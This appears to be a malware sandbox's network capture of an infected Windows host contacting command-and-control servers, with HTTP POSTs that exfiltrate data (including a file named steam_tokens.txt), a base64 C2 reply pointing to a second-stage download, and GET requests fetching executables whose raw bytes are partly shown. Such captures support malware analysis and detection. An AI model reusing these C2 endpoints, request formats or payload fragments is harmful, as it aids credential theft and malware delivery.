Nov 12, 2024 21:21:41.311254978 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFCGIDAKECGCBGDBAFI Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 37 34 35 64 33 32 39 38 39 64 31 36 38 64 33 36 63 65 36 36 38 30 37 37 35 36 39 39 63 65 33 35 37 32 39 63 66 33 37 62 39 61 36 63 65 35 37 32 31 65 64 64 63 32 32 64 30 32 38 64 30 65 64 33 63 65 31 65 34 34 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 2d 2d 0d 0a Data Ascii: ------FBFCGIDAKECGCBGDBAFIContent-Disposition: form-data; name="token"4d745d32989d168d36ce6680775699ce35729cf37b9a6ce5721eddc22d028d0ed3ce1e44------FBFCGIDAKECGCBGDBAFIContent-Disposition: form-data; name="message"files------FBFCGIDAKECGCBGDBAFI--
Nov 12, 2024 21:21:42.555262089 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:21:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 21:21:42.555835009 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:21:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 21:21:42.557116032 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:21:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 21:21:42.557946920 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:21:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 21:21:42.568393946 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHCGIDHDAKJECBFHCBAA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 43 47 49 44 48 44 41 4b 4a 45 43 42 46 48 43 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 37 34 35 64 33 32 39 38 39 64 31 36 38 64 33 36 63 65 36 36 38 30 37 37 35 36 39 39 63 65 33 35 37 32 39 63 66 33 37 62 39 61 36 63 65 35 37 32 31 65 64 64 63 32 32 64 30 32 38 64 30 65 64 33 63 65 31 65 34 34 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 47 49 44 48 44 41 4b 4a 45 43 42 46 48 43 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 47 49 44 48 44 41 4b 4a 45 43 42 46 48 43 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DHCGIDHDAKJECBFHCBAAContent-Disposition: form-data; name="token"4d745d32989d168d36ce6680775699ce35729cf37b9a6ce5721eddc22d028d0ed3ce1e44------DHCGIDHDAKJECBFHCBAAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------DHCGIDHDAKJECBFHCBAAContent-Disposition: form-data; name="file"------DHCGIDHDAKJECBFHCBAA--
Nov 12, 2024 21:21:43.347810030 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:21:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 21:21:43.374394894 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJEBKJDAFHJDGDHJKKEG Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 37 34 35 64 33 32 39 38 39 64 31 36 38 64 33 36 63 65 36 36 38 30 37 37 35 36 39 39 63 65 33 35 37 32 39 63 66 33 37 62 39 61 36 63 65 35 37 32 31 65 64 64 63 32 32 64 30 32 38 64 30 65 64 33 63 65 31 65 34 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 2d 2d 0d 0a Data Ascii: ------KJEBKJDAFHJDGDHJKKEGContent-Disposition: form-data; name="token"4d745d32989d168d36ce6680775699ce35729cf37b9a6ce5721eddc22d028d0ed3ce1e44------KJEBKJDAFHJDGDHJKKEGContent-Disposition: form-data; name="message"ybncbhylepme------KJEBKJDAFHJDGDHJKKEG--
Nov 12, 2024 21:21:43.658780098 CET	271	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:21:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=
Nov 12, 2024 21:21:46.104295015 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJKKKJJJKJKFHJJJJEC Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 37 34 35 64 33 32 39 38 39 64 31 36 38 64 33 36 63 65 36 36 38 30 37 37 35 36 39 39 63 65 33 35 37 32 39 63 66 33 37 62 39 61 36 63 65 35 37 32 31 65 64 64 63 32 32 64 30 32 38 64 30 65 64 33 63 65 31 65 34 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 2d 2d 0d 0a Data Ascii: ------JKJKKKJJJKJKFHJJJJECContent-Disposition: form-data; name="token"4d745d32989d168d36ce6680775699ce35729cf37b9a6ce5721eddc22d028d0ed3ce1e44------JKJKKKJJJKJKFHJJJJECContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JKJKKKJJJKJKFHJJJJEC--
Nov 12, 2024 21:21:46.885025978 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:21:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49762	185.215.113.16	80	7472	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:21:43.667893887 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 12, 2024 21:21:44.566766024 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:21:44 GMT Content-Type: application/octet-stream Content-Length: 3272192 Last-Modified: Tue, 12 Nov 2024 20:09:03 GMT Connection: keep-alive ETag: "6733b5df-31ee00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 00 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf2@022@WkX11 @.rsrc@.idata @xbojpnva@+2+@weqvlzma11@.taggant02"1@
Nov 12, 2024 21:21:44.566788912 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:21:44.566800117 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:21:44.566812992 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:21:44.566880941 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: cY({\|
Nov 12, 2024 21:21:44.566894054 CET	1236	IN	Data Raw: 6b e3 27 bf 6c 7b 85 cb b1 3f dd 43 3f b9 dd 9b 44 ba 28 5f b0 61 e1 c3 2f 00 a2 9b e4 0f ae d5 6b e3 47 bf 6c 7b 85 6b b2 3f dd 43 5f b9 dd 9b 44 ba 28 5f b0 61 e1 c3 37 00 a2 9b e4 8f c3 d5 6b e3 67 bf 6c 7b 85 8b b2 3f dd 43 7f b9 dd 9b 44 ba Data Ascii: k'l{?C?D(_a/kGl{k?C_D(_a7kgl{?CD(_a?Wkl{+?CD(_aOkl{K?CD(_a7kl{?CD(_akl{?CD(_akl{?CD(
Nov 12, 2024 21:21:44.566920996 CET	1236	IN	Data Raw: b0 61 d9 c3 bf fd a1 9b e4 b3 b2 d5 6b e3 07 b6 6c 7b 85 ab c0 3f dd 43 1f 38 de 9b 44 ba 28 5f b0 61 cd c3 9f fd a1 9b e4 cf c9 d5 6b e3 27 b6 6c 7b 85 cb c0 3f dd 43 3f 38 de 9b 44 ba 28 5f b0 61 d1 c3 7b fe a1 9b e4 4f c9 d5 6b e3 47 b6 6c 7b Data Ascii: akl{?C8D(_ak'l{?C?8D(_a{OkGl{k?C_8D(_aSkgl{?C8D(_aWkl{+?C7D(_a/kl{K?C7D(_aC'kl{?C7D(_akl{
Nov 12, 2024 21:21:44.566945076 CET	1236	IN	Data Raw: 96 3f dd 43 df 33 de 9b 44 ba 28 5f b0 61 e5 c3 e7 02 a2 9b e4 c7 c8 d5 6b e3 e7 ba 6c 7b 85 0b 97 3f dd 43 ff 33 de 9b 44 ba 28 5f b0 61 e5 c3 fb 02 a2 9b e4 47 c4 d5 6b e3 07 b9 6c 7b 85 ab 8f 3f dd 43 1f 33 de 9b 44 ba 28 5f b0 61 e5 c3 ff 02 Data Ascii: ?C3D(_akl{?C3D(_aGkl{?C3D(_ak'l{?C?3D(_akGl{k?C_3D(_akgl{?C3D(_akl{+?C.D(_a'kl{K?C.D(_a
Nov 12, 2024 21:21:44.566958904 CET	1060	IN	Data Raw: ae c7 28 5f b0 c7 28 5f b0 33 ad 15 2a 7b 1c 5f b0 c7 28 5f b0 c7 28 5f b0 50 64 3f ef df f4 4d 19 8b 83 9b a2 70 e5 c1 a2 4c 05 71 a3 f6 f7 21 74 f6 6c 97 ee c4 dd ec 93 4f 82 9a 6b fa 25 4e ef bf d8 18 ac 86 a5 5c f7 e0 99 5a b0 c7 28 5f b0 c7 Data Ascii: (_(_3*{_(_(_Pd?MpLq!tlOk%N\Z(_(_(_Pd?H )pCM(_(_Pd?w^e@e@<[}Q({rCHdU_C'Yh{)_Pd?::igK @C@"U
Nov 12, 2024 21:21:44.566971064 CET	1236	IN	Data Raw: 3a 7f b4 d9 67 70 e7 22 6a b2 a2 9f 18 7e 2d 9c 41 58 1b a3 6b a9 1d ed 40 b9 e4 9b af c7 28 5f b0 c7 28 5f b0 4a 64 6f ef e7 e4 1a 88 f3 5b 57 68 50 64 c2 67 04 89 77 67 02 09 c1 a2 63 8d 24 28 7b 81 fc 6b 7b dd 9b 3b 4a 5c 3f 44 1c d1 7b 29 7b Data Ascii: :gp"j~-AXk@(_(_Jdo[WhPdgwgc$({k{;J\?D{){X@:Kj_<k{"z;: 1$!M>\|"/do;@k{"1ad?djm@f@%.@%U(c^kClcpml{ 1+"@P-!"18+d
Nov 12, 2024 21:21:44.987417936 CET	1236	IN	Data Raw: 09 86 0f 9c 93 3e ea 9a 6b 02 aa 4f ef bf e4 56 6a eb cf d8 6b 02 1f 8a b0 55 05 ca c7 7c dd 22 89 58 1b 97 6b c7 28 5f b0 c7 28 5f b0 c7 28 5f b0 50 64 3f 16 f6 84 13 f5 3f dd b7 cc 7b dd 9b 6b 4b 5c 3f 74 1c d1 7b 29 7b ac 58 f5 40 ed e4 3b 08 Data Ascii: >kOVjkU\|"Xk(_(_(_Pd??{kK\?t{){X@;Gk{dsr?@k{Ndo@k{CLC!"1$q{kT"1`;kPd?g\|"1dK@:$ik{}k{ gkoE$*\|b[~"XkLd
Nov 12, 2024 21:21:44.987739086 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:21:44 GMT Content-Type: application/octet-stream Content-Length: 3272192 Last-Modified: Tue, 12 Nov 2024 20:09:03 GMT Connection: keep-alive ETag: "6733b5df-31ee00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 00 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf2@022@WkX11 @.rsrc@.idata @xbojpnva@+2+@weqvlzma11@.taggant02"1@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49781	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:22:03.819300890 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 21:22:04.843189001 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:22:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49794	185.215.113.43	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:22:06.359209061 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 21:22:07.270004034 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:22:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 66 0d 0a 20 3c 63 3e 31 30 30 35 38 31 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 35 38 31 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 35 38 31 34 30 33 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 34 66 66 66 37 62 35 63 36 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 35 38 31 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16f <c>1005812001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1005813001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1005814031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#1005815001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49798	185.215.113.16	80	6792	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 21:22:07.278359890 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 12, 2024 21:22:08.188394070 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 20:22:08 GMT Content-Type: application/octet-stream Content-Length: 3128832 Last-Modified: Tue, 12 Nov 2024 20:08:49 GMT Connection: keep-alive ETag: "6733b5d1-2fbe00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 43 a3 32 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 dc 03 00 00 c8 00 00 00 00 00 00 00 d0 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 30 00 00 04 00 00 d1 a1 30 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 50 05 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 51 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELC2g/@00@TPhQ 00@.rsrc @@@.idata P@@heutirnm``VB@axktdcgc//@.taggant0/"/@
Nov 12, 2024 21:22:08.188499928 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:22:08.188512087 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:22:08.188687086 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:22:08.188699961 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 21:22:08.188711882 CET	1236	IN	Data Raw: 7f 30 df 7c f8 99 91 4c 74 2c b7 33 3b b3 9f 4c 74 b7 d4 8d 63 b7 9f 4c 74 6e 5f 78 74 b7 9f 4c bd f7 8f 4c 74 b7 9f 33 3b a3 9f 4c 74 b7 d4 8d 53 b7 9f 4c 74 6e 5f 68 74 b7 9f 4c bd f7 bf 4c 74 b7 9f f5 3e af 16 55 e0 c9 1f c9 7b 3a 8c f1 c4 b5 Data Ascii: 0\|Lt,3;LtcLtn_xtLLt3;LtSLtn_htLLt>U{:Lp<p;t?,{{GTLswbU{HLt0\|LtRE%{R{LtLtnSSLt(CS,ULKd3AOt2;d
